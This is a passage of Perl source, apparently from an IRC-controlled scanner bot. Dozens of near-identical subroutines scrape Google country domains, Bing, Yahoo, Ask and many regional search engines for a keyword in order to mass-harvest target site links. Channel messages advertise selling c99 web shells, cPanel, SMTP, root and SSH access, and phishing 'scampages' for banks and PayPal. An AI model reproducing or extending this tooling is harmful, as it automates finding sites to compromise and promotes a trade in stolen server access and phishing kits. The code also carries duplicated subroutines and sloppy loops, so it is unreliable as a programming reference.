("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm","co.kr"); foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))]; for ($b=1; $b<=500; $b+=30) { my $search = ("http://www.google.com/search?num=50&q=".uri_escape($key)."&start=".$b."&sa=N"); my $res = search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) { if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } } sub bokep() { my @list; my $key = $_[0]; for ($b=0; $b<=500; $b+=50) { my $search = ("http://www.search.xxx/search/?q=".uri_escape($key)."&lr=all&cat=&or=&start=".$b); my $res = search_engine_query($search); while ($res =~ m/<h2 class=\"result-web\">(.*?)<\/h2>/g) { if ($1 !~ /search\.xxx/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub searchnz() { my @list; my $key = $_[0]; for ($b=1; $b<=500; $b+=50) { my $search = ("http://searchnz.co.nz/search.aspx?q=".uri_escape($key)."&gr=false&np=".$b); my $res = search_engine_query($search); while ($res =~ m/>http:\/\/(.+?)<\/a><\/div>/g) { if ($1 !~ /webads\.co\.nz/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub webcrawler() { my @list; my $key = $_[0]; for ($i = 0 ;$i <= 1400 ;$i += 20) { my $clink = ("http://www.webcrawler.com/search/web?qsi=".$i."&q=".uri_escape($key)."&fcop=results-top"); my $re = search_engine_query($clink); while ($re =~ m/nonpaid','(.*)','http:\/\/(.+?)\'/g) { my $link = $1; if ($1 !~ /webcrawler\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=0; $b<=120; $b+=10) { my $search = ("http://search.yippy.com/search?query=".uri_escape($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&"); my $res = search_engine_query($search); while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) { if ($1 !~ /yippy\.com/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub witch(){ my @list; my $key = $_[0]; for($b=0; $b<=1000; $b+=50){ my $Lyc = ("http://www.witch.de/search-result.php?searchtype=phonetisch&search=".uri_escape($key)."&cn=".$b); my $Res = search_engine_query($Lyc); while ($Res =~ m/<a href=\"http:\/\/(.+?)\"/g){ my $link = $1; if ($1 !~ /witch\.de/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub amidalla(){ my @list; my $key = $_[0]; my $i = 0; for ($i=1; $i<=1000; $i+=50){ my $web=("http://www.amidalla.de/cgi-bin/amisearch.cgi?search=".uri_escape($key)."&page=".$i."&break=10&af=2&tld=com&et=2"); my $Res= search_engine_query($web); while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){ if ($1 !~ /amidalla/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gibla() { my @list; my $key = $_[0]; for ($b=0; $b<=600; $b+=40) { my $search = ("http://www.gigablast.com/search?s=".$b."&q=".uri_escape($key)); my $res = search_engine_query($search); while ($res =~ m/<span class=\"url\">(.+?)<\/span>/g) { my $link = $1; if ($link!~ /gigablast/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mywebsearch() { my @list; my $key = $_[0]; for ($b = 1; $b<=700; $b+=40) { my $search = ("http://search.mywebsearch.com/mywebsearch/GGweb.jhtml?searchfor=".uri_escape($key)."&pn=".$b); my $res = search_engine_query($search); while ($res =~ m/<span class=\"uri\">http:\/\/(.+?)\<\/span>/g) { my $link = $1; if ($1 !~ /mywebsearch\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dogpile() { my @list; my $key = $_[0]; for ($b = 1; $b<=901; $b+=40) { my $search = ("http://www.dogpile.com/info.dogpl/search/web?qsi=".$b."&q=".uri_escape($key)); my $res = search_engine_query($search); while ($res =~ m/<a class=\"resultDisplayUrl\" (.*) site=\"_blank\">(.+?)<\/a>/g) { my $link = $2; if ($link!~ /dogpile/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub infocom() { my @list; my $key = $_[0]; for ($b = 1; $b<=600; $b+=41) { my $search = ("http://www.info.com/searchw?page=".$b."&qkw=".uri_escape($key)); my $res = search_engine_query($search); while ($res =~ m/http%3a%2f%2f(.+?)%2f/g) { my $link = $1; if ($link!~ /info\.com/) { my @grep=links($link); open( $filez, ">>", $name ); foreach my $k (@grep) { print $filez "$k\n"; } close $filez; push(@list,@grep); } } } return @list; } sub searchcom() { my @list; my $key = $_[0]; for ($b = 1; $b<=400; $b+=40) { my $search = ("http://www.search.com/search?q=".uri_escape($key)."&nav=".$b.".10.2.10"); my $res = search_engine_query($search); while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick=\"/g) { my $link = $1; if ($link!~ /search\.com/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub teoma() { my @list; my $key = $_[0]; for ($b = 1; $b<=600; $b+=50) { my $search = ("http://www.teoma.com/web?q=".uri_escape($key)."&page=".$b); my $res = search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.+?)\"/g) { my $link = $1; if ($link!~ /teoma\.com/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub volunia() { my @list; my $key = $_[0]; my $chan = $_[1]; for ($b = 1; $b<=600; $b+=40) { my $search = ("http://www.volunia.com/find/web?q=".uri_escape($key)."&start=".$b); my $res = search_engine_query($search); while ($res =~ m/The map of http:\/\/(.+?) does not exist yet/g) { my $link = $1; if ($link!~ /volunia\.com/) { my @grep = &links($link); push(@list,@grep); } } } sendraw("MODE $chan -m"); return @list; } sub izito() { my @list; my $key = $_[0]; for ($b=0; $b<=600; $b+=40) { my $search = ("http://www.izito.com/?query=".uri_escape($key)."&where=web_izito&site=web_izito&vid=l1847521836I1359583892&con=y&asid=1810073229&tag=7570085394I1359583978&clt=topic&sr=r&pg=".$b); my $res = search_engine_query($search); while ($res =~ m/<div class=\"title_up\"><a href=\"http:\/\/(.*?)\" site=/g) { my $link = $1; if ($1 !~ /izito\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub onyet() { my @list; my $key = $_[0]; for ($b=1; $b<=420; $b+=30) { my $search = ("http://szukaj.onet.pl/0,".$b.",query.html?qt=".uri_escape($key)); my $res = search_engine_query($search); while ($res =~ m/class=\"link\"><a href=\"http:\/\/(.+?)\">/g) { if ($1 !~ /onet\.pl/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub askom() { my @list; my $key = $_[0]; for (my $i=0; $i<=400; $i+=30) { my $search = ("http://www.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=&o=0&l=dir&qid=235A0A59C3E13CDAFE9BC30D9C40E125&page=".$i."&pid=&min=&max=&jss="); my $res = search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) { if ($1 !~ /ask\.com/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub google() { my @list; my $key = $_[0]; for (my $i=0; $i<=600; $i+=500){ my $search = ($jack9.uri_escape($key)."&num=100&filter=0&start=".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub walla() { my @list; my $key = $_[0]; my $chan = $_[1]; for ($b=0; $b<=1000; $b+=61) { my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) { my $link = $1; if ($link !~ /walla\.co\.il/){ my @grep = &links($link); push(@list,@grep); } } } sendraw("MODE $chan -m"); return @list; } sub yahoo(){ my @list; my $key = $_[0]; for ($b=1; $b<=100; $b+=10) { my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b); my $res = &search_engine_query($search); while ($res =~ m/http:\/\/([^>]*)\//g) { my $link = $1; if ($link !~ /yahoo\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ask() { my @list; my $key = $_[0]; for (my $i=1; $i<=1000; $i+=100) { my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss="); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /ask\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub onet() { my @list; my $key = $_[0]; my $b = 0; for ($b=1; $b<=600; $b+=60) { my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key)); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=10; $b<=600; $b+=60) { my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&"); my $res = &search_engine_query($search); if ($res !~ /next/) {$b=100;} while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($1 !~ /yippy\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bing() { my @list; my $key = $_[0]; for (my $i=1; $i<=600; $i+=60) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /google/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sapo(){ my @list; my $key = $_[0]; for ($b=1; $b<=700; $b+=40) { my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local"); my $res = &search_engine_query($search); if ($res !~ m/Next/i) {$b=50;} while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($1 !~ /\.sapo\.pt/){ my @grep = &links($link); push(@list,@grep); } } } &msg("$channel","3,115[4sell15]8 tool4 :9 Shell c99 .cPanel .SMTP .Root .ssh .vps .SCAMPAGE ( BOA , GOOGLGEDOCS , PP etc.13 Contact Us4 :0 | Pagat| 4 *9 YM 4:8 cindycitran(at)yahoo.com4 *9 Site4 :8 http://mahakam.net"); return @list; } sub lycos() { my @list; my $key = $_[0]; for ($b=0; $b<=500; $b+=50) { my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b); my $res = &search_engine_query($search); while ($res =~ m/title=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($link !~ /lycos\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub uol() { my @list; my $key = $_[0]; for ($b=0; $b<=1000; $b+=100) { my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b); my $res = &search_engine_query($search); if ($res =~ m/retornou nenhum resultado/i) {$b=500;} while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /uol\.com\.br|\/web/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub seznam() { my @list; my $key = $_[0]; for ($b=1; $b<=500; $b+=50) { my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hotbot() { my @list; my $key = $_[0]; for ($b=0; $b<=500; $b+=50) { my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key)); my $res = &search_engine_query($search); if ($res =~ m/had no web result/i) {$b=50;} while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) { my $link = $1; if ($link !~ /hotbot\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aol() { my @list; my $key = $_[0]; for ($b=0; $b<=500; $b+=50) { my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($link !~ /aol\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub biglobe { my $key = $_[0]; my @list; for ($b=1; $b<=500; $b+=50) { $num += $num; my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all"; my $res = &search_engine_query($search); while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) { my $link = $1; if ($link !~ /biglobe/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub yahoo2() { my @list; my $key = $_[0]; my $b = 0; my @doms = ("nl","au","br","ca","de","es","fr","it","uk"); foreach my $domain (@doms) { #$dom = $doms[rand(scalar(@doms))]; for (my $i=1; $i<=1000; $i+=50) { my $search = ("http://".$domain.".search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i); my $res = &search_engine_query($search); while ($res =~ m/http:\/\/([^>]*)\//g) { if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); } } } return @list; } } sub kvasir() { my @list; my $key = $_[0]; for (my $i=10; $i<=1000; $i+=100){ my $search = ("http://www.kvasir.no/nettsok?q=".$i."&pageSize=100&q=".uri_escape($key).""); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.+?)\//g) { my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep); } } } return @list; } sub quint() { my @lst; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://quintura.com/?request=".uri_escape($key)."&tab=0&page=".$i."&tabid="); my $res = search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) { my $link = $1; if ($link !~ /quintura/){ my @grep = links($link); push(@lst,@grep); } } } return @lst; } sub seznam() { my @list; my $key = $_[0]; for ($b=1; $b<=1000; $b+=100) { my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) { if ($1 !~ /seznam/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pagina(){ my @list; my $key = $_[0]; my $i = 0; for ($i=0; $i<=500; $i+=30){ my $web=("http://startgoogle.startpagina.nl/index.php?q=".uri_escape($key)."&start=".$i."&origin=homepage&source=geentaal"); my $Res= search_engine_query($web); while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){ if ($1 !~ /pagina|pagina's/){ my $k=$1; my @grep=links($k); push(@list,@grep); } } } return @list; } sub clix(){ my @list; my $key = $_[0]; for($b=1;$b<=1000;$b+=100){ my $Th=("http://www.google.pt/search?q=".uri_escape($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b.""); my $Res=&search_engine_query($Th); while($Res =~ m/href=\"http:\/\/(.+?)\//g){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); } } return @list; } sub ask2() { my @list; my $key = $_[0]; for (my $i=1; $i<=50; $i+=1) { my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all"); my $res = &search_engine_query($search); if ($res !~ /Successiva/) {$i=50;} while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) { if ($1 !~ /ask\.com/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ae() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Aae%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ar() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Aar%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub at() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Aat%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub au() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aau%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub br() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Abr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ca() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Aca%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cl() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Acl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cn() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Acn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub com() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Acom%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cz() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Acz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub de() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Ade%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dk() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Adk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub es() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Aes%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub eu() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aeu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Afr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hu() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Ahu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub id() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Aid%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub il() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub in() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Ain%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub info() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Ainfo%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub il() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub it() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Ait%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub jp() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Ajp%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Akr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mx() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Amx%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub my() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Amy%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub net() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Anet%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nl() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Anl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub org() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Aorg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ph() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Aph%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pl() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Apl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ro() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Aro%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ru() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Aru%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub th() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Ath%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ua() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; 